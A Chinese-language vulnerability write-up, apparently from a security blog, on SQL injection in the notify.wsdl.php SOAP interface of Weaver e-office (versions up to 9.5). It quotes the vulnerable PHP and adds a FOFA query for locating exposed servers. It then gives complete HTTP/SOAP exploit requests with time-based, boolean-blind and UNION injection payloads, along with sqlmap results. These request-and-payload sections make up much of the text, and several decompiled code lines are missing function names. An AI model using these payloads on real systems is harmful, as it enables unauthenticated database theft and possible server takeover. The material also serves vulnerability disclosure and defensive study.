泛微e-office notify.wsdl.php sql注入漏洞


漏洞简介

泛微E-Office是一款标准化的协同 OA 办公软件,泛微协同办公产品系列成员之一,实行通用化产品设计,充分贴合企业管理需求,本着简洁易用、高效智能的原则,为企业快速打造移动化、无纸化、数字化的办公平台。泛微e-office notify.wsdl.php 接口处存在SQL注入漏洞,未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息(例如管理员后台密码、站点用户个人信息)之外,攻击者甚至可以在高权限下向服务器写入命令,进一步获取服务器系统权限。

影响版本

e-office <=9.5

fofa语法

app="泛微-EOffice"

漏洞分析

直接看 notify.wsdl.php 文件业务逻辑实现

<?php

function GetNotifyList( $start, $limit, $search, $UserInfor )
{
    $notifyApi = new notify( $UserInfor );
    $notify_message = $notifyApi->getNotifyInfo( $limit, $start, "", $search );
    $Infor = array( );
    foreach ( $notify_message as $index => $val )
    {
        $Infor[$index]['NOTIFY_ID'] = $notify_message[$index]['NOTIFY_ID'];
        $Infor[$index]['FROM_ID'] = $notify_message[$index]['FROM_ID'];
        $Infor[$index]['FROM_NAME'] = $notify_message[$index]['FROM_NAME'];
        $Infor[$index]['SUBJECT'] = $notify_message[$index]['SUBJECT'];
        $Infor[$index]['SEND_TIME'] = $notify_message[$index]['SEND_TIME'];
        $Infor[$index]['READERS'] = $notify_message[$index]['READERS'];
        $Infor[$index]['READERS_NAME'] = ( $val['READERS'] );
        if ( ( $Infor[$index]['READERS'], $UserInfor['user_id']."," ) )
        {
            $Infor[$index]['InformationRead'] = "1";
        }
        else
        {
            $Infor[$index]['InformationRead'] = "0";
        }
        $Infor[$index]['READ_FLAG'] = $notify_message[$index]['READ_FLAG'];
        $Infor[$index]['NOTIFY_TYPE'] = $notify_message[$index]['NOTIFY_TYPE'];
        $Infor[$index]['PUBLISH_DEPT'] = $notify_message[$index]['PUBLISH_DEPT'];
        $Infor[$index]['PUBLISH_PRIV'] = $notify_message[$index]['PUBLISH_PRIV'];
        $Infor[$index]['PUBLISH_USER'] = $notify_message[$index]['PUBLISH_USER'];
    }
    return ( $Infor );
}

function GetNotifyInformation( $NotifyId, $UserInfor )
{
    $notifyApi = new notify( $UserInfor );
    $notify_update_status = $notifyApi->updateReadStatus( $NotifyId );
    $notify_message = $notifyApi->getNotifyInfo( "", "", $NotifyId, array( ) );
    foreach ( $notify_message as $index => $val )
    {
        $notify_message[$index]['READERS_NAME'] = ( $val['READERS'] );
    }
    return ( $notify_message[0] );
}

function GetNotifyType( $TypeId )
{
    $notifyApi = new notify( );
    $NotifyType = $notifyApi->GetNotifyType( $TypeId );
    return ( $NotifyType );
}

function getNotifyAmount( $search, $UserInfor )
{
    $notifyApi = new notify( $UserInfor );
    $notify_counts = $notifyApi->getNotifyAmount( $search );
    return $notify_counts;
}

function getNewNotifyAmount( $UserInfor )
{
    $notifyApi = new notify( $UserInfor );
    $notify_new_counts = $notifyApi->getNewNotifyAmount( );
    return $notify_new_counts;
}

include_once( "nusoap/lib/nusoap.php" );
include_once( "api/notify.class.php" );
include_once( "api/user.class.php" );
include_once( "inc/conn.php" );
include_once( "wap/function.php" );
include_once( "inc/checkcurrentsession.php" );
$server = new soap_server( );
$server->soap_defencoding = "UTF-8";
$server->decode_utf8 = false;
$server->configureWSDL( "notifyServicewsdl", "urn:notifyServicewsdl" );
$server->wsdl->schemaTargetNamespace = "urn:notifyServicewsdl";
$server->wsdl->addComplexType( "UserInfor", "complexType", "array", "all", "", array(
    "user_id" => array( "name" => "user_id", "type" => "xsd:string" ),
    "user_name" => array( "name" => "user_name", "type" => "xsd:string" ),
    "session_id" => array( "name" => "session_id", "type" => "xsd:string" )
) );
$server->wsdl->addComplexType( "NotifySearch", "complexType", "array", "all", "", array(
    "NotifySubject" => array( "name" => "NotifySubject", "type" => "xsd:string" ),
    "NotifySort" => array( "name" => "NotifySort", "type" => "xsd:string" ),
    "NotifyOther" => array( "name" => "NotifyOther", "type" => "xsd:string" )
) );
$server->register( "GetNotifyList", array( "start" => "xsd:string", "limit" => "xsd:string", "search" => "tns:NotifySearch", "UserInfor" => "tns:UserInfor" ), array( "return" => "xsd:string" ), "urn:notifyServicewsdl", "urn:notifyServicewsdl#GetNotifyList", "rpc", "encoded", "Get E-office notify GetNotifyList" );
$server->register( "GetNotifyInformation", array( "NotifyId" => "xsd:int", "UserInfor" => "tns:UserInfor" ), array( "return" => "xsd:string" ), "urn:notifyServicewsdl", "urn:notifyServicewsdl#GetNotifyInformation", "rpc", "encoded", "Get E-office notify GetNotifyInformation" );
$server->register( "GetNotifyType", array( "TypeId" => "xsd:string" ), array( "return" => "xsd:string" ), "urn:notifyServicewsdl", "urn:notifyServicewsdl#GetNotifyType", "rpc", "encoded", "Get Public notify type" );
$server->register( "getNotifyAmount", array( "search" => "tns:NotifySearch", "UserInfor" => "tns:UserInfor" ), array( "return" => "xsd:string" ), "urn:notifyServicewsdl", "urn:notifyServicewsdl#getNotifyAmount", "rpc", "encoded", "Get E-office notify count" );
$server->register( "getNewNotifyAmount", array( "UserInfor" => "tns:UserInfor" ), array( "return" => "xsd:string" ), "urn:notifyServicewsdl", "urn:notifyServicewsdl#getNewNotifyAmount", "rpc", "encoded", "Get E-office notify count" );
$HTTP_RAW_POST_DATA = isset( $HTTP_RAW_POST_DATA ) ? $HTTP_RAW_POST_DATA : "";
$server->service( $HTTP_RAW_POST_DATA );
?>

这是一个基于 PHP 的 SOAP 服务实现,它提供以下几个功能:getNewNotifyAmount 、 getNotifyAmount 、GetNotifyInformation、GetNotifyList 和 GetNotifyType

直接在 webservice-json/notify/notify.wsdl.php 后加上 ?wsdl 再使用 SoapUI 或者 burp 的Wsdler 插件解析即可得到HTTP请求报文

getNewNotifyAmount

先看 getNewNotifyAmount 功能实现逻辑

$UserInfor 直接带入 notify 函数,业务逻辑如下

public function __construct( $userinfo = array( ) )
    {
        global $connection;
        if ( $userinfo['user_id'] == "" )
        {
            $this->userid = $_SESSION['LOGIN_USER_ID'];
        }
        else
        {
            $this->userid = $userinfo['user_id'];
        }
        if ( $this->userid )
        {
            $sql = "SELECT DEPT_ID,USER_PRIV FROM user WHERE USER_ID='".$this->userid."'";
            $rs = ( $connection, $sql );

$user_id 是直接拼接进SQL语句中执行,无任何过滤,造成SQL注入漏洞。

getNotifyAmount

function getNotifyAmount( $search, $UserInfor )
{
    $notifyApi = new notify( $UserInfor );
    $notify_counts = $notifyApi->getNotifyAmount( $search );
    return $notify_counts;
}

$search 和 $UserInfor 分别带入 notify 和 getNotifyAmount 函数, notiy 函数参考上面,getNotifyAmount 业务逻辑如下

public function getNotifyAmount( $search = array( ) )
    {
        global $connection;
        $sql = "SELECT COUNT(NOTIFY_ID) AS CNT FROM notify WHERE PUBLIC = '1' AND OPTIONSTATE='1' AND BEGIN_DATE<='".$this->curdate."' AND ( END_DATE>='".$this->curdate."' OR END_DATE = '0000-00-00') AND( (DEPT_ID = 'ALL_DEPT') OR (INStr(DEPT_ID,',".$this->deptid.",')>0 OR INStr(DEPT_ID,'".$this->deptid.",')=1) OR (INStr(PRIV_ID,',".$this->uesrpriv.",')>0 OR  INStr(PRIV_ID,'".$this->uesrpriv.",')=1) OR (INStr(USER_ID,',".$this->userid.",')>0 OR  INStr(USER_ID,'".$this->userid.",')=1) )";
        if ( $search['NotifySubject'] != "" )
        {
            $sql .= " AND SUBJECT like '%".$search['NotifySubject']."%'";
        }
        if ( $search['NotifySort'] != "" )
        {
            $sql .= " AND NOTIFY_TYPE_ID='".$search['NotifySort']."'";
        }
        $rs = ( $connection, $sql );
        $row = ( $rs );
        $amount = $row['CNT'];
        return $amount;
    }

可以看到和上面的 SaveAttendance 函数注入一样也是 $search['NotifySubject'] 、$search['NotifySort'] 直接拼接进SQL语句中,造成SQL注入漏洞。

GetNotifyType

function GetNotifyType( $TypeId )
{
    $notifyApi = new notify( );
    $NotifyType = $notifyApi->GetNotifyType( $TypeId );
    return ( $NotifyType );
}

$TypeId 直接带入 GetNotifyType 函数

public function GetNotifyType( $TypeId = "" )
    {
        global $connection;
        $NotifyType = array( );
        if ( $TypeId == "" )
        {
            $query = "SELECT * FROM notify_type ORDER BY NOTIFY_TYPE_ID ASC";
        }
        else
        {
            $query = "SELECT * FROM notify_type WHERE NOTIFY_TYPE_ID='".$TypeId."'";
        }
        $result = ( $connection, $query );
        while ( $row = ( $result ) )
        {
            $NotifyType[] = $row;
        }
        return $NotifyType;
    }

最终被直接拼接进SQL语句中执行,造成SQL注入漏洞。

GetNotifyInformation、GetNotifyList和上述处理逻辑差不就不详细列出来了。

漏洞复现

getNewNotifyAmount

POST /webservice-json/notify/notify.wsdl.php HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: text/xml;charset=UTF-8
SOAPAction: "urn:notifyServicewsdl#getNewNotifyAmount"
Content-Length: 727
Host: eoffice.mrxn.net:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.4103.116 Safari/537.36
Connection: keep-alive
X-Forwarded-For: 127.0.0.1

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:notifyServicewsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:getNewNotifyAmount soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <UserInfor xsi:type="urn:UserInfor">
            <!--You may enter the following 3 items in any order-->
            <user_id xsi:type="xsd:string">1' AND (SELECT 2461 FROM (SELECT(SLEEP(5)))rwHk)#</user_id>
            <user_name xsi:type="xsd:string">admin</user_name>
            <session_id xsi:type="xsd:string">1</session_id>
         </UserInfor>
      </urn:getNewNotifyAmount>
   </soapenv:Body>
</soapenv:Envelope>

通过时间盲注 成功延时 5 秒。

通过 sqlmap 还可测试出其他注入方式如下

sqlmap identified the following injection point(s) with a total of 368 HTTP(s) requests:
---
Parameter: SOAP #1* ((custom) POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:notifyServicewsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:getNewNotifyAmount soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <UserInfor xsi:type="urn:UserInfor">
            <!--You may enter the following 3 items in any order-->
            <user_id xsi:type="xsd:string">1' RLIKE (SELECT (CASE WHEN (3318=3318) THEN 1 ELSE 0x28 END)) AND 'hSqI'='hSqI</user_id>
            <user_name xsi:type="xsd:string">admin</user_name>
            <session_id xsi:type="xsd:string">1</session_id>
         </UserInfor>
      </urn:getNewNotifyAmount>
   </soapenv:Body>
</soapenv:Envelope>

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP - comment)
    Payload: <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:notifyServicewsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:getNewNotifyAmount soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <UserInfor xsi:type="urn:UserInfor">
            <!--You may enter the following 3 items in any order-->
            <user_id xsi:type="xsd:string">1' AND (SELECT 2461 FROM (SELECT(SLEEP(5)))rwHk)#</user_id>
            <user_name xsi:type="xsd:string">admin</user_name>
            <session_id xsi:type="xsd:string">1</session_id>
         </UserInfor>
      </urn:getNewNotifyAmount>
   </soapenv:Body>
</soapenv:Envelope>
---

getNotifyAmount

POST /webservice-json/notify/notify.wsdl.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
SOAPAction: urn:notifyServicewsdl#getNotifyAmount
Content-Type: text/xml;charset=UTF-8
Host: eoffice.mrxn.net:8082
Content-Length: 1178

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:notifyServicewsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:getNotifyAmount soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <search xsi:type="urn:NotifySearch">
            <!--type: string-->
            <NotifySubject xsi:type="xsd:string">1' AND (SELECT 2461 FROM (SELECT(SLEEP(5)))rwHk)#</NotifySubject>
            <!--type: string-->
            <NotifySort xsi:type="xsd:string">sonoras imperio</NotifySort>
            <!--type: string-->
            <NotifyOther xsi:type="xsd:string">quae divum incedo</NotifyOther>
         </search>
         <UserInfor xsi:type="urn:UserInfor">
            <!--type: string-->
            <user_id xsi:type="xsd:string">1</user_id>
            <!--type: string-->
            <user_name xsi:type="xsd:string">per auras</user_name>
            <!--type: string-->
            <session_id xsi:type="xsd:string">circum claustra</session_id>
         </UserInfor>
      </urn:getNotifyAmount>
   </soapenv:Body>
</soapenv:Envelope>

也是同样延时 5 秒

GetNotifyType

POST /webservice-json/notify/notify.wsdl.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
SOAPAction: urn:notifyServicewsdl#GetNotifyType
Content-Type: text/xml;charset=UTF-8
Host: eoffice.mrxn.net:8082

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:notifyServicewsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:GetNotifyType soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <TypeId xsi:type="xsd:string">1' UNION ALL SELECT CONCAT(0x716a7a7071,0x53536f48427a6d70596c506644414b734d4e4e69586c4c6647646f4e51566f43575453706c516766,0x71626a6b71),NULL,NULL-- -</TypeId>
      </urn:GetNotifyType>
   </soapenv:Body>
</soapenv:Envelope>

也是通过联合注入,在响应里回显了测试payload。

sqlmap测试结果

sqlmap identified the following injection point(s) with a total of 56 HTTP(s) requests:
---
Parameter: SOAP #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:notifyServicewsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:GetNotifyType soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <TypeId xsi:type="xsd:string">1' AND 5476=5476 AND 'kRje'='kRje</TypeId>
      </urn:GetNotifyType>
   </soapenv:Body>
</soapenv:Envelope>

    Type: time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
    Payload: <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:notifyServicewsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:GetNotifyType soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <TypeId xsi:type="xsd:string">1' AND 6893=BENCHMARK(5000000,MD5(0x6f497261)) AND 'RZzC'='RZzC</TypeId>
      </urn:GetNotifyType>
   </soapenv:Body>
</soapenv:Envelope>

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:notifyServicewsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:GetNotifyType soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <TypeId xsi:type="xsd:string">1' UNION ALL SELECT CONCAT(0x716a7a7071,0x53536f48427a6d70596c506644414b734d4e4e69586c4c6647646f4e51566f43575453706c516766,0x71626a6b71),NULL,NULL-- -</TypeId>
      </urn:GetNotifyType>
   </soapenv:Body>
</soapenv:Envelope>
---

手机扫码阅读

泛微e-office online_person.wsdl.php sql注入漏洞

泛微e-office attendance.wsdl.php sql注入漏洞

评 论